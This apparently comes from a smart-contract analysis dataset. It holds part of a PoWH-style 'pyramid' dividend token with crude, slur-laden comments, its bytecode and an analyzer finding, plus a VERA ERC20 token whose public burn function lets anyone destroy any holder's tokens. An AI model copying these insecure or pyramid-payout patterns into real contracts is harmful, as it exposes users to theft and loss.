25; uint256 constant internal tokenPriceInitial_ = 0.000000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.0000000007 ether; uint256 constant internal magnitude = 2**64; // proof of stake (defaults at 100 tokens) uint256 public stakingRequirement = 50e18; // referral program mapping(address => uint256) internal referrals; mapping(address => bool) internal isUser; address[] public usersAddresses; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /* Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /* Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /* Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service _customerAddress.transfer(_dividends); // fire event onWithdraw(_customerAddress, _dividends); } /* Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire event onTokenSell(_customerAddress, _tokens, _taxedEthereum); } /* Transfer tokens from the caller to a new holder. * No fee! */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { // setup address _customerAddress = msg.sender; // withdraw all outstanding dividends first if(myDividends(true) > 0) withdraw(); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _amountOfTokens); // fire event Transfer(_customerAddress, _toAddress, _amountOfTokens); // ERC20 return true; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return this.balance; } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } function referralsOf(address _customerAddress) public view returns(uint256) { return referrals[_customerAddress]; } function totalUsers() public view returns(uint256) { return usersAddresses.length; } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is to to 1/true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ; } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) view public returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) view public returns(uint256) { return (uint256) ((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _ethereumToSpend) public view returns(uint256) { uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); return _amountOfTokens; } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateEthereumReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _ethereum = tokensToEthereum_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns(uint256) { // data setup address _customerAddress = msg.sender; uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a Kekly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ){ // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); if (isUser[_customerAddress] == false) { referrals[_referredBy]++; } } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } if (isUser[_customerAddress] == false ) { isUser[_customerAddress] = true; usersAddresses.push(_customerAddress); } // we can't give people infinite ethereum if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over his purchase _fee = _fee - (_fee-(_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; //really i know you think you do but you don't int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[_customerAddress] += _updatedPayouts; // fire event onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(tokenSupply_**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(tokenSupply_) ; return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } //This is where all your gas goes, sorry //Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
0x6060604052600436106101315763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166265318b811461013f57806306fdde031461017057806310d0ffdd146101fa57806318160ddd146102105780632260937314610223578063313ce567146102395780633ccfd60b146102625780634b7503341461027757806356d399e81461028a578063688abbf71461029d5780636b2f4632146102b557806370a08231146102c857806373338081146102e7578063831aba43146103195780638620410b14610338578063949e8acd1461034b57806395d89b411461035e578063a9059cbb14610371578063bff1f9e1146103a7578063e4849b32146103ba578063e9fad8ee146103d0578063f088d547146103e3578063fdb5a03e146103f7575b61013c34600061040a565b50005b341561014a57600080fd5b61015e600160a060020a0360043516610721565b60405190815260200160405180910390f35b341561017b57600080fd5b61018361075c565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101bf5780820151838201526020016101a7565b50505050905090810190601f1680156101ec5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020557600080fd5b61015e6004356107fa565b341561021b57600080fd5b61015e61082d565b341561022e57600080fd5b61015e600435610834565b341561024457600080fd5b61024c610870565b60405160ff909116815260200160405180910390f35b341561026d57600080fd5b610275610875565b005b341561028257600080fd5b61015e610941565b341561029557600080fd5b61015e610997565b34156102a857600080fd5b61015e600435151561099d565b34156102c057600080fd5b61015e6109e0565b34156102d357600080fd5b61015e600160a060020a03600435166109ee565b34156102f257600080fd5b6102fd600435610a09565b604051600160a060020a03909116815260200160405180910390f35b341561032457600080fd5b61015e600160a060020a0360043516610a31565b341561034357600080fd5b61015e610a4c565b341561035657600080fd5b61015e610a96565b341561036957600080fd5b610183610aa9565b341561037c57600080fd5b610393600160a060020a0360043516602435610b14565b604051901515815260200160405180910390f35b34156103b257600080fd5b61015e610c29565b34156103c557600080fd5b610275600435610c2f565b34156103db57600080fd5b610275610d95565b61015e600160a060020a0360043516610dcc565b341561040257600080fd5b610275610dd8565b600033818080808080806104296104228c6019610e93565b6064610ec5565b9650610439610422886032610e93565b95506104458787610edc565b94506104518b88610edc565b935061045c84610eee565b925068010000000000000000850291506000831180156104865750600a546104848482610f7f565b115b151561049157600080fd5b600160a060020a038a16158015906104bb575087600160a060020a03168a600160a060020a031614155b80156104e15750600254600160a060020a038b1660009081526006602052604090205410155b1561056357600160a060020a038a166000908152600760205260409020546105099087610f7f565b600160a060020a03808c16600090815260076020908152604080832094909455918b1681526004909152205460ff16151561055e57600160a060020a038a166000908152600360205260409020805460010190555b61057e565b61056d8587610f7f565b945068010000000000000000850291505b600160a060020a03881660009081526004602052604090205460ff16151561060b57600160a060020a0388166000908152600460205260409020805460ff1916600190811790915560058054909181016105d8838261102c565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a038a161790555b6000600a54111561066f57610622600a5484610f7f565b600a81905568010000000000000000860281151561063c57fe5b600b8054929091049091019055600a5468010000000000000000860281151561066157fe5b048302820382039150610675565b600a8390555b600160a060020a0388166000908152600660205260409020546106989084610f7f565b600160a060020a03808a16600081815260066020908152604080832095909555600b54600890915290849020805491880287900391820190559350908c16917f022c0d992e4d873a3748436d960d5140c1f9721cf73f7ca5ec679d3d9f4fe2d5908e9087905191825260208201526040908101905180910390a350909998505050505050505050565b600160a060020a0316600090815260086020908152604080832054600690925290912054600b54680100000000000000009102919091030490565b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107f25780601f106107c7576101008083540402835291602001916107f2565b820191906000526020600020905b8154815290600101906020018083116107d557829003601f168201915b505050505081565b600080808061080d610422866019610e93565b92506108198584610edc565b915061082482610eee565b95945050505050565b600a545b90565b600080600080600a54851115151561084b57600080fd5b61085485610f8e565b9250610864610422846019610e93565b91506108248383610edc565b601281565b6000806000610884600161099d565b1161088e57600080fd5b33915061089b600061099d565b600160a060020a0383166000818152600860209081526040808320805468010000000000000000870201905560079091528082208054929055920192509082156108fc0290839051600060405180830381858888f19350505050151561090057600080fd5b81600160a060020a03167fccad973dcd043c7d680389db4378bd6b9775db7124092e9e0422c9e46d7985dc8260405190815260200160405180910390a25050565b600080600080600a546000141561095e576311e1a3009350610991565b61096f670de0b6b3a7640000610f8e565b925061097f610422846019610e93565b915061098b8383610edc565b90508093505b50505090565b60025481565b600033826109b3576109ae81610721565b6109d7565b600160a060020a0381166000908152600760205260409020546109d582610721565b015b91505b50919050565b600160a060020a0330163190565b600160a060020a031660009081526006602052604090205490565b6005805482908110610a1757fe5b600091825260209091200154600160a060020a0316905081565b600160a060020a031660009081526003602052604090205490565b600080600080600a5460001415610a6957636553f1009350610991565b610a7a670de0b6b3a7640000610f8e565b9250610a8a610422846019610e93565b915061098b8383610f7f565b600033610aa2816109ee565b91505b5090565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107f25780601f106107c7576101008083540402835291602001916107f2565b6000806000610b21610a96565b11610b2b57600080fd5b50336000610b39600161099d565b1115610b4757610b47610875565b600160a060020a038116600090815260066020526040902054610b6a9084610edc565b600160a060020a038083166000908152600660205260408082209390935590861681522054610b999084610f7f565b600160a060020a03858116600081815260066020908152604080832095909555600b805494871680845260089092528583208054958a0290950390945592548282529084902080549188029091019055917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b5092915050565b60055490565b6000806000806000806000610c42610a96565b11610c4c57600080fd5b33600160a060020a038116600090815260066020526040902054909650871115610c7557600080fd5b869450610c8185610f8e565b9350610c91610422856019610e93565b9250610c9d8484610edc565b9150610cab600a5486610edc565b600a55600160a060020a038616600090815260066020526040902054610cd19086610edc565b600160a060020a038716600090815260066020908152604080832093909355600b546008909152918120805492880268010000000000000000860201928390039055600a54919250901115610d4857610d44600b54600a54680100000000000000008602811515610d3e57fe5b04610f7f565b600b555b85600160a060020a03167fc4823739c5787d2ca17e404aa47d5569ae71dfb49cbf21b3f6152ed238a31139868460405191825260208201526040908101905180910390a250505050505050565b33600160a060020a03811660009081526006602052604081205490811115610dc057610dc081610c2f565b610dc8610875565b5050565b60006109da348361040a565b600080600080610de8600161099d565b11610df257600080fd5b610dfc600061099d565b33600160a060020a038116600090815260086020908152604080832080546801000000000000000087020190556007909152812080549082905590920194509250610e4890849061040a565b905081600160a060020a03167fbe339fc14b041c2b0e0f3dd2cd325d0c3668b78378001e53160eab3615326458848360405191825260208201526040908101905180910390a2505050565b600080831515610ea65760009150610c22565b50828202828482811515610eb657fe5b0414610ebe57fe5b9392505050565b6000808284811515610ed357fe5b04949350505050565b600082821115610ee857fe5b50900390565b600a546000906b033b2e3c9fd0803ce80000009082906329b92700610f6c610f66723ec7363a56368870f3f8e00f96e0000000000088026706ccd46763f100006002860a02016f010da15446e63d1e6169deb000000000850201760a70c3c40a64e6c51999090b65f67d924000000000000001610ff7565b85610edc565b811515610f7557fe5b0403949350505050565b600082820183811015610ebe57fe5b600a54600090670de0b6b3a7640000838101918101908390610fe46311e1a3008285046329b9270002018702600283670de0b6b3a763ffff1982890a8b900301046329b9270002811515610fde57fe5b04610edc565b811515610fed57fe5b0495945050505050565b80600260018201045b818110156109da57809150600281828581151561101957fe5b040181151561102457fe5b049050611000565b81548183558181151161105057600083815260209020611050918101908301611055565b505050565b61083191905b80821115610aa5576000815560010161105b5600a165627a7a7230582090b45959e5cf946f6fe60e866e7845892e99046f83a4e8ebe0996723abb5f7b10029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
5,423
0xb860c306c5485e472734317a0033d4bf813881c6
pragma solidity 0.5.7; // ERC20 declare contract IERC20 { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); event Burn(address indexed burner, uint256 value); } // SafeERC20 library SafeERC20 { function safeTransfer( IERC20 _token, address _to, uint256 _value ) internal { require(_token.transfer(_to, _value)); } function safeTransferFrom( ERC20 _token, address _from, address _to, uint256 _value ) internal { require(_token.transferFrom(_from, _to, _value)); } function safeApprove( ERC20 _token, address _spender, uint256 _value ) internal { require(_token.approve(_spender, _value)); } } // Ownable contract Ownable { address public owner; address public admin; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier onlyOwnerOrAdmin() { require(msg.sender != address(0) && (msg.sender == owner || msg.sender == admin)); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); require(newOwner != owner); require(newOwner != admin); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } function setAdmin(address newAdmin) onlyOwner public { require(admin != newAdmin); require(owner != newAdmin); admin = newAdmin; } } // ERC20 functions contract ERC20 is IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping(address => bool) internal locks; mapping (address => mapping (address => uint256)) private _allowed; uint256 public Max_supply = 500000000 * (10 ** 8); uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); require(locks[msg.sender] == false); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function _approve(address owner, address spender, uint256 value) internal { require(spender != address(0)); require(owner != address(0)); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _mint(address account, uint256 value) internal { require(account != address(0)); require(Max_supply > _totalSupply); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function burn(address from, uint256 value) public { _burn(from, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function lock(address _owner) public onlyOwner returns (bool) { require(locks[_owner] == false); locks[_owner] = true; return true; } function unlock(address _owner) public onlyOwner returns (bool) { require(locks[_owner] == true); locks[_owner] = false; return true; } function showLockState(address _owner) public view returns (bool) { return locks[_owner]; } } // Pause, Mint base library Roles { struct Role { mapping (address => bool) bearer; } function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } // ERC20Detailed contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function decimals() public view returns (uint8) { return _decimals; } } // Math library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SafeMath library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0 || b == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); // overflow check return c; } } // Pause part contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused); _; } modifier whenPaused() { require(_paused); _; } function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool) { return super.decreaseAllowance(spender, subtractedValue); } } // Snapshot part library Arrays { function findUpperBound(uint256[] storage array, uint256 element) internal view returns (uint256) { if (array.length == 0) { return 0; } uint256 low = 0; uint256 high = array.length; while (low < high) { uint256 mid = Math.average(low, high); if (array[mid] > element) { high = mid; } else { low = mid + 1; } } if (low > 0 && array[low - 1] == element) { return low - 1; } else { return low; } } } library Counters { using SafeMath for uint256; struct Counter { uint256 _value; } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { counter._value += 1; } function decrement(Counter storage counter) internal { counter._value = counter._value.sub(1); } } contract ERC20Snapshot is ERC20 { using SafeMath for uint256; using Arrays for uint256[]; using Counters for Counters.Counter; struct Snapshots { uint256[] ids; uint256[] values; } mapping (address => Snapshots) private _accountBalanceSnapshots; Snapshots private _totalSupplySnaphots; Counters.Counter private _currentSnapshotId; event Snapshot(uint256 id); function snapshot() public returns (uint256) { _currentSnapshotId.increment(); uint256 currentId = _currentSnapshotId.current(); emit Snapshot(currentId); return currentId; } function balanceOfAt(address account, uint256 snapshotId) public view returns (uint256) { (bool snapshotted, uint256 value) = _valueAt(snapshotId, _accountBalanceSnapshots[account]); return snapshotted ? value : balanceOf(account); } function totalSupplyAt(uint256 snapshotId) public view returns(uint256) { (bool snapshotted, uint256 value) = _valueAt(snapshotId, _totalSupplySnaphots); return snapshotted ? value : totalSupply(); } function _transfer(address from, address to, uint256 value) internal { _updateAccountSnapshot(from); _updateAccountSnapshot(to); super._transfer(from, to, value); } function _mint(address account, uint256 value) internal { _updateAccountSnapshot(account); _updateTotalSupplySnapshot(); super._mint(account, value); } function _burn(address account, uint256 value) internal { _updateAccountSnapshot(account); _updateTotalSupplySnapshot(); super._burn(account, value); } function _valueAt(uint256 snapshotId, Snapshots storage snapshots) private view returns (bool, uint256) { require(snapshotId > 0); require(snapshotId <= _currentSnapshotId.current()); uint256 index = snapshots.ids.findUpperBound(snapshotId); if (index == snapshots.ids.length) { return (false, 0); } else { return (true, snapshots.values[index]); } } function _updateAccountSnapshot(address account) private { _updateSnapshot(_accountBalanceSnapshots[account], balanceOf(account)); } function _updateTotalSupplySnapshot() private { _updateSnapshot(_totalSupplySnaphots, totalSupply()); } function _updateSnapshot(Snapshots storage snapshots, uint256 currentValue) private { uint256 currentId = _currentSnapshotId.current(); if (_lastSnapshotId(snapshots.ids) < currentId) { snapshots.ids.push(currentId); snapshots.values.push(currentValue); } } function _lastSnapshotId(uint256[] storage ids) private view returns (uint256) { if (ids.length == 0) { return 0; } else { return ids[ids.length - 1]; } } } // Mintable part contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } contract ERC20Mintable is ERC20, MinterRole { function mint(address to, uint256 value) public onlyMinter returns (bool) { _mint(to, value); return true; } } // Token detailed contract VERA is ERC20, ERC20Detailed, ERC20Snapshot, ERC20Pausable, ERC20Mintable { string public constant name = "VERA"; string public constant symbol = "VERA"; // If you change DECIMALS must fix Max_supply uint8 public constant DECIMALS = 8; uint256 public constant INITIAL_SUPPLY = 0 * (10 ** uint256(DECIMALS)); constructor () public ERC20Detailed(name, symbol, DECIMALS) { _mint(msg.sender, INITIAL_SUPPLY); } }
